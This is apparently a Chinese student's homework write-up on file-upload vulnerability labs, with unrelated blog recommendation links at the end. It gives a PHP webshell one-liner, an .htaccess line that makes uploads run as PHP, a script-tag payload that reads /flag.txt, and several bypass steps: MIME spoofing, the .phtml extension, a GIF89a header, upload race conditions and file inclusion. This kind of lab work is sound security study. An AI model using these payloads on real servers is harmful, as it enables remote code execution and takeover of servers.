班级作业笔记报告0x02

作业1:

类型绕过

打开Terminal

复制代码
#创建webshell

echo '<?php system($_GET['test']);?>' > test.php

访问首页抓包

删掉响应包的javascript脚本代码,然后Forward,回到首页抓包上传test.php文件

修改Content-Type: application/octet-stream,改为Content-Type: image/gif

输入id测试,成功输出命令值,成功getshell

作业2:

黑名单绕过

依旧作业一操作创建webshell文件,直接上传.php文件上传失败了,换.phtml成功

作业3:

内容校验

#创建Apache配置文件.htaccess

echo 'AddType application/x-httpd-php' > .htaccess

上传的时候改下文件MIME类型,必须是image/jpeg才允许上传

然后将上传请求包发送到Repeater模块做备份,写代码拿flag

写入test.jpg文件,MIME类型依旧image/jpeg

复制代码
<script language='php'>echo file_get_contents('/flag.txt')</script>

作业完成

作业4:

条件竞争

#可getshell

依旧Terminal操作,这次写入phpinfo

上传代码文件<?php phpinfo();?>

发送爆破模块

访问文件名,路径为upload/test.php

发送爆破模块

两个同时爆破,运气好刚开始就可以结束了

作业5:

文件上传与文件包含

依旧Terminal操作

首页访问一片空白,burpsuite抓包拦截响应包内容,将前端注释符号删掉

上传文件抓包,修改

文件后缀为.gif文件

MIME类型image/gif

文件头GIF89a

访问index.php文件

GET传参?hello=uploads/test.gif

完成作业

个人评价

唠嗑

相比SQL注入漏洞,本次作业的文件上传漏洞相对简单,SQL注入漏洞涉及数据库知识,而文件上传漏洞涉及的知识不多,HTTP/S协议、一点点PHP一句话木马、JavaScript拓展PHP代码、文件包含漏洞知识、文件解析后缀拓展、Apache配置文件解析绕过。

相关推荐
qq_284274052 小时前
机械原理笔记:平面机构自由度计算(复合铰链、局部自由度、虚约束)与四杆机构入门(含考点)
笔记·学习·平面·自动化·制造
qq_284274054 小时前
数控铣床与加工中心笔记:铣刀与刀柄系统、G54试切对刀、镜像加工指令、孔加工工艺(钻扩铰镗)与固定循环G73/G83/G81/G76/G87/G84
笔记·学习·自动化·制造
Titan20244 小时前
MySQL访问个人学习笔记
笔记·学习·mysql
深圳老胡6 小时前
STM32CubeMX 生成 CMake 工程,用 VSCode 编译与调试的完整流程
笔记·stm32·单片机·代码规范
坤坤子吖6 小时前
C++智能指针:RAII、shared_ptr与内存泄漏
开发语言·c++·笔记·学习
乐橙开放平台6 小时前
智慧连锁客流检测和离岗检测怎么对接
大数据·人工智能·笔记·物联网·自动化·音视频·智能家居
零基础1236 小时前
FinalShell 使用教程:从安装到高效运维
运维·经验分享·笔记·finalshell
ACP广源盛139246256737 小时前
Type‑C 扩展坞方案选型笔记|国产 DP1.4 转 HDMI2.0 桥接芯片 GSV2201S @ACP评估
c语言·开发语言·笔记·硬件架构·硬件工程·国产芯片
敲个大西瓜8 小时前
langchain笔记(一)
redis·笔记·langchain
带金箍的至尊宝8 小时前
系统架构设计师笔记 05:第2章硬件与软件基础,冯诺依曼结构怎么考
数据库·笔记·系统架构